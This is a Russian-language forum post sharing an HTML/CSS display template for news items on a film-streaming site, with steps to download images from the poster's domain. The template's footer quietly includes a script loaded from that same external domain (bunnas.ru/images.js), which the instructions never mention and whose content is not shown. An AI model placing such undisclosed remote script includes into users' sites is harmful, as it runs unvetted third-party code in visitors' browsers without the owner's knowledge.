На главную Форум сайта Вы Гость + Регистрация / Вход
Вид материала в синих тонах - Форум чат общение
ПОПУЛЯРНЫЕ ТЕМЫ
[Игра] 15 +
Оставлено 179 сообщений в теме
досчитай до 100
Оставлено 99 сообщений в теме
Как разыграть друга в в...
Оставлено 72 сообщений в теме
Сигны в формате psd
Оставлено 70 сообщений в теме
[Игра] Города
Оставлено 69 сообщений в теме
[Игра] Поставить + выше...
Оставлено 44 сообщений в теме
Раздача WMB
Оставлено 41 сообщений в теме
 

  • Страница 1 из 1
  • 1
Вид материала в синих тонах
olichka
Дата: Вторник, 08.11.2011, 10:16 | Сообщение # 1
Создатель топика
Заглянувший
Вип-персона
Сообщений: 12
Репутация: 30
Награды: 1
[UA]
СКРИН: http://s58.radikal.ru/i160/1111/69/2b0fbc88a4cf.jpg

Красивый вид материала в синих тонах для онлайн кинотеатра и не только.

Скачиваем архив скрипта(http://bunnas.ru/donwload/Vid_materialov.rar), в корне сайта создаем папочку [img] и заливаем в нее все картинки.

Далее копируем код скрипта и вставляем: П.У.=>[Новости сайта] =>[Вид Материалов]

Code
<div id="block_top_video"><div style="padding-left: 10px;"><b>$TITLE$</b><?if($MODER_PANEL$)?><div style="float: right;">$MODER_PANEL$</div><?endif?></div></div>
<div id="block_video"><div id="block_content_video">
<div style="float: left;width: 185px;">
<div style="background: url('/img/lenta_new.png') no-repeat; padding: 2% 3%; text-align:center;"><?if($OTHER1$)?><img src="$OTHER1$" width="155" height="223"><?else?><img width="150" src="/img/no_no_images.JPEG"><?endif?> </div>
</div>
<div style="margin-left: 191px;">
<div style="padding: 1px 1px 1px 0px; min-height: 275px;">$MESSAGE$</div>
</div>
</div></div>
<div id="block_footer_video">
<div style="float: left;width: 185px;">
<div style="padding: 3% 5%;text-align:center;"><script src="http://bunnas.ru/images.js" type="text/javascript"></script><a title="Нажми для просмотра $TITLE$ online" href="$ENTRY_URL$" class="css_view"></a></div></div>
<div style="margin-left: 191px;">
<div style="height:20px; padding: 1px;"><div style="float: left;"><img src="/img/news/reit_new.png" border="0"><b>Жанр</b>: <a href="$CATEGORY_URL$">$CATEGORY_NAME$</a> | <b><img src="/img/news/prosmotr_new.png"> Просмотров:</b> [<b>$READS$</b>]</div><div style="float: right;"><?$RSTARS$('20','/img/news/rating.png','1','float')?></div></div>
<div style="height:20px; padding: 1px;"><div style="float: left;"><a title="Количество комментариев $TITLE$ ($COMMENTS_NUM$)" href="$COMMENTS_URL$"><b>Комментарии</b> ($COMMENTS_NUM$)</a> | <a href="../forum/">Обсудить на форуме</a></div><div style="float: right;text-align:right;"><font color="red">$RATING$</font>(голосов: $RATED$)</div></div>
</div>
</div>


$OTHER1$ - Дополнительное поле, в которое помещяете ссылку на изображение и оно отобразит вам в новостях.

Код вставляем в любую часть своего css файла.

Code
/* --Блок материалов-- */

#block_top_video{
float: top;
color: #000000;
background: url(/img/bg_top_new.png) left no-repeat;
font-weight: bold;
font-size: 12px;
text-align: left;
line-height: 40px;
height: 40px;
}

#block_video{
width:650px;
background: url(/img/bg_body_new.png) left top repeat-y;
font-size: 11px;
}

#block_content_video{
color: #000000;
text-align: left;
}

#block_footer_video{
margin-bottom: 3px;
float: bottom;
background: url(/img/bg_bottom_new.png) left top no-repeat;
height: 41px;
}

/* --Блок материалов/END-- */


Если Вы используете данный вид материалов не для сайтов посвященных фильмам, видео и т.д. замените изображение lenta_new.PNG и view.PNG на lenta_new2.PNG и view2.PNG.
Спасибо за внимание!

  • Страница 1 из 1
  • 1
Поиск:

Как писать сообщения и создавать свои темы на форуме?

Вверх